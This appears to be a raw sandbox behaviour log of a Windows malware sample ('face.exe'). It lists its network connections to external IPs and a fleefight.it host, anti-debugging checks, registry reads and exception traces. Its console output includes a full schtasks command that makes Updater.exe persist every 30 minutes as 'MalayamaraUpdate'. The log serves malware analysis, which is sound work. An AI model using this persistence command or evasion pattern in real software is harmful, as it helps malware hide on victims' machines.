94.177.48.37:443 		C=US, O=Let's Encrypt, CN=R3 CN=fleefight.it 91:68:1d:27:8a:cf:73:d8:08:f0:ef:b4:c6:fe:7b:6c:17:be:10:d7
TLSv1
192.168.56.103:49644
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49663
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49649
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49652
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49651
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49656
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49659
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49657
94.177.48.37:443 		C=US, O=Let's Encrypt, CN=R3 CN=fleefight.it 91:68:1d:27:8a:cf:73:d8:08:f0:ef:b4:c6:fe:7b:6c:17:be:10:d7
TLSv1
192.168.56.103:49660
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49662
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49667
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49668
94.177.48.37:443 		C=US, O=Let's Encrypt, CN=R3 CN=fleefight.it 91:68:1d:27:8a:cf:73:d8:08:f0:ef:b4:c6:fe:7b:6c:17:be:10:d7
TLSv1
192.168.56.103:49674
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49676
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49684
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49681
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49691
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49673
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49692
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49671
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49677
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49669
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49675
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49670
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49678
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49672
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49685
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49679
94.177.48.37:443 		C=US, O=Let's Encrypt, CN=R3 CN=fleefight.it 91:68:1d:27:8a:cf:73:d8:08:f0:ef:b4:c6:fe:7b:6c:17:be:10:d7
TLSv1
192.168.56.103:49683
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49686
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49688
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49680
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49689
94.177.48.37:443 		C=US, O=Let's Encrypt, CN=R3 CN=fleefight.it 91:68:1d:27:8a:cf:73:d8:08:f0:ef:b4:c6:fe:7b:6c:17:be:10:d7
TLSv1
192.168.56.103:49687
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49690
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49693
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49694
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49695
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49696
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49697
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49225
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49250
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49261
104.26.4.15:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com 03:f8:79:dd:26:16:32:12:a4:33:99:34:af:f7:33:32:d5:e0:aa:e5
TLSv1
192.168.56.103:49641
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49643
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49654
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49658
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49664
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49666
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49682
154.92.15.189:443 		None None None
TLSv1
192.168.56.103:49698
154.92.15.189:443 		None None None

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MPGPH131 HR" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MPGPH131 LG" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "explorhe.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: chcp
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Active code page: 1251
console_handle: 0x00000013
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MalayamaraUpdate" has successfully been created.
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931576
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931604
registers.edx: 2
registers.ebx: 15807292
registers.esi: 5
registers.ecx: 15807292
1 0 0

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931576
registers.edi: 3931576
registers.eax: 0
registers.ebp: 3931604
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931784
1 0 0

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931576
registers.edi: 3931576
registers.eax: 0
registers.ebp: 3931604
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931784
1 0 0

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931576
registers.edi: 3931576
registers.eax: 0
registers.ebp: 3931604
registers.edx: 0
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931784
1 0 0

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931576
registers.edi: 3931576
registers.eax: 0
registers.ebp: 3931604
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931784
1 0 0

__exception__

 stacktrace: 
face+0x299202 @ 0x1669202
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931576
registers.edi: 3931576
registers.eax: 0
registers.ebp: 3931604
registers.edx: 2
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931784
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 17924096
registers.esi: 22118400
registers.ecx: 22118400
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294ce4 @ 0x1664ce4
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294dc0 @ 0x1664dc0
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 17924096
registers.esi: 22118400
registers.ecx: 1269045167
1 0 0

__exception__

 stacktrace: 
face+0x294e92 @ 0x1664e92
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 17924096
registers.esi: 22118400
registers.ecx: 3931556
1 0 0

__exception__

 stacktrace: 
face+0x294e92 @ 0x1664e92
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294e92 @ 0x1664e92
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 17924096
registers.esi: 22118400
registers.ecx: 2969966937
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x294f8c @ 0x1664f8c
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 23453836
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 17924096
registers.esi: 22118400
registers.ecx: 133792577
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe1d9
exception.instruction: div eax
exception.module: face.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0x15ce1d9
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 0
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864367
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
face+0x295022 @ 0x1665022
face+0x294107 @ 0x1664107
face+0x2218dc @ 0x15f18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: face+0x1fe204
exception.instruction: ud2
exception.module: face.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0x15ce204
registers.esp: 3931528
registers.edi: 3931528
registers.eax: 0
registers.ebp: 3931556
registers.edx: 2
registers.ebx: 22864410
registers.esi: 0
registers.ecx: 3931564
1 0 0

__exception__

 stacktrace: 
RtlpNtEnumerateSubKey+0x2a2b isupper-0x4e2b ntdll+0xcf559 @ 0x7796f559
RtlpNtEnumerateSubKey+0x2b0b isupper-0x4d4b ntdll+0xcf639 @ 0x7796f639
RtlUlonglongByteSwap+0xba5 RtlFreeOemString-0x20d35 ntdll+0x7df95 @ 0x7791df95
HeapFree+0x14 GetProcessHeap-0xc kernel32+0x114dd @ 0x757f14dd
face+0xf374f @ 0x14c374f
face+0xea16e @ 0x14ba16e
face+0xdbe9c @ 0x14abe9c
face+0x10a142 @ 0x14da142
face+0xeeb23 @ 0x14beb23
face+0xeedd7 @ 0x14bedd7
face+0xeb99a @ 0x14bb99a
face+0xeb8c6 @ 0x14bb8c6
face+0xeba88 @ 0x14bba88
face+0xebbef @ 0x14bbbef
face+0xdc222 @ 0x14ac222
face+0x29a7c7 @ 0x166a7c7
0x3bfe88

exception.instruction_r: eb 12 8b 45 ec 8b 08 8b 09 50 51 e8 6f ff ff ff
exception.symbol: RtlpNtEnumerateSubKey+0x1b25 isupper-0x5d31 ntdll+0xce653
exception.instruction: jmp 0x7796e667
exception.module: ntdll.dll
exception.exception_code: 0xc0000374
exception.offset: 845395
exception.address: 0x7796e653
registers.esp: 3930848
registers.edi: 8044640
registers.eax: 3930864
registers.ebp: 3930968
registers.edx: 0
registers.ebx: 0
registers.esi: 7864320
registers.ecx: 2147483647
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b
CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x75b94387
NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x754bef51
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c
NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x754b6b42
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c
NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x754d5c3a
NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x755506b8
WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x75c6d7e6
WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x75c6d876
WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x75c6ddd0
CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x75b88a43
CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x75b88938
DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x75b8950a
WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x75c6dccd
WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x75c6db41
WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x75c6e1fd
DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x75b89367
DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x75b89326
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4
DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755f788a
CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x75b4a48b
CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x75b4853b
CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x75b4a4ac
CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x75b5cd48
CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x75b5d87a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 103673428
registers.edi: 79945484
registers.eax: 103673428
registers.ebp: 103673508
registers.edx: 4164878962
registers.ebx: 103673792
registers.esi: 2147746133
registers.ecx: 79678152
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x75c6f725
